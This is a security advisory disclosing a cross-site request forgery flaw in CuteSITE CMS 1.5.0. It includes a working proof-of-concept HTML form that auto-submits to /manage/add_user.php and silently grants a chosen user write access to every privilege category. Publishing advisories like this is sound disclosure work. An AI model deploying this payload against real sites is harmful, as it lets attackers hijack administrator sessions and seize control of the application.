CuteSITE CMS 1.5.0 Cross Site Request Forgery

`Vulnerability ID: HTB22395  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cutesite_cms.html  
Product: CuteSITE CMS  
Vendor: AMT Company  
Vulnerable Version: 1.5.0 and Probably Prior Versions  
Vendor Notification: 20 May 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/manage/add_user.php" script to properly verify the source of HTTP request.   
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.   
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:   
  
  
<FORM action="http://host/manage/add_user.php" method="POST" name="main">  
<input type="hidden" name="fld_priv" value="W">  
<input type="hidden" name="tpl_priv" value="W">  
<input type="hidden" name="img_priv" value="W">  
<input type="hidden" name="str_priv" value="W">  
<input type="hidden" name="txt_priv" value="W">  
<input type="hidden" name="var_priv" value="W">  
<input type="hidden" name="snp_priv" value="W">  
<input type="hidden" name="usr_priv" value="W">  
<input type="hidden" name="hst_priv" value="W">  
<input type="hidden" name="plg_priv" value="W">  
  
<INPUT type="hidden" name="user_id" value="33">  
<INPUT type="hidden" name="user_login" value="userlogin">  
<INPUT type="hidden" name="action" value="Modify">  
</FORM>  
<script>  
document.main.submit()  
</script>  
  
  
`